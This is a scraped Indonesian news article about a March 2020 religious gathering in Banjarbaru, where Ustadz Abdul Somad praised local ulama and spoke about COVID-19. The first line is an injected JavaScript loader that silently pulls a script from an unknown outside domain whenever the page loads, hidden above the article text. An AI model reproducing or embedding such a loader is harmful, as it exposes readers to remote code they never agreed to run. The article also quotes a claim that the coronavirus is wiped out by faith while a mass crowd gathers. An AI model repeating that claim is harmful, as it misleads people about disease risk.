(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARBARU – Dihadapan ribuan jemaah yang memadati lapangan Murjani, Banjarbaru, Kamis (12/3/2020) malam, Ustadz Abdul Somad atau UAS mengutarakan kekagumannya kepada ulama-ulama besar yang ada di Kalimantan Selatan. Diantaranya Datuk Kelampayan atau Syekh Muhammad Arsyad Al Banjari dan Syekh Muhammad Zaini bin Abdul Gani.
Salah satu ulama asal Kalimantan Selatan yang dikagumi sebut UAS adalah KH Muhammad Zaini bin Abdul Gani atau Abah Guru Sekumpul. Menurut UAS, berkumpulnya jutaan umat muslim saat haul Abah Guru Sekumpul setiap tahunnya, sangatlah luar biasa. Di sela kekagumannya akan dua ulama besar Kalimantan itu, UAS mengajak jemaah membaca surah Al Fatihan khusus untuk Datuk Kalampayan dan Abah Guru Sekumpul.
UAS menyebut hadirnya ribuan umat muslim di lapangan Murjani malam ini, hanya sebagian kecil dari jemaah haul Sekumpul. Jemaah yang ada di sini sudah terbiasa dengan kehadiran jutaan jemaah haul yang berasal dari berbagai daerah di Indonesia maupun manca negara.
“Saat menuju acara, di jalan saya melihat kendaraan dan mobil sudah tersusun rapi. Ini bukti bahwa jemaah di Banjarbaru ini sudah terbiasa menyambut jutaan umat muslim saat haul,†katanya.
Di tengah tausiah, UAS mengungkapkan keinginannya untuk menghadiri acara haul Abah Guru Sekumpul. Namun, sering kali terbentur dengan padatnya jadwal.
Salah satu yang turut disampaikan UAS, yakni virus corona yang telah masuk di Indonesia. Ia mengungkapkan bahwa banyak masyarakat yang takut berkumpul, setelah adanya beberapa warga negara Indonesia yang dinyatakan positif terjangkit virus corona.
Namun begitu, UAS melihat dengan mata kepala sendiri bahwa masyarakat kota Banjarbaru tidak menunjukan rasa takut itu. Buktinya, ribuan masyarakat berkumpul untuk menghadiri tablig akbar yang dilaksanakan oleh Pemerintah Kota Banjarbaru malam ini. Tidak lupa, ia juga mendoakan agar masalah virus ini dapat cepat diselesaikan
“Kondisi saat ini, semua orang takut berkumpul. Tapi yang saya lihat saya liat saat ini orang Banjarbaru ternyata tidak menunjukan rasa itu. Virus corona musnah semua. Karena orang Banjarbaru menyerahkan semuanya kepada Allah SWT,” tuturnya disambut ucapan amin oleh para jemaah.
Tablig akbar yang dilaksanakan Pemerintah Kota ini merupakan salah satu rangkaian rangkaian Hari Jadi ke-21 Kota Banjarbaru tahun 2020. Nampak hadir mendampingi UAS, Wali Kota Banjarbaru Nadjmi Adhani dan Wakil Wali Kota Darmawan Jaya Setiawan, Sekda Banjarbaru H Said Abdullah, Ketua DPRD Banjarbaru Fadliansyah, Kapolres Banjarbaru AKBP Doni Hadi Santoso dan Forkopimda lingkup Kota Banjarbaru. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.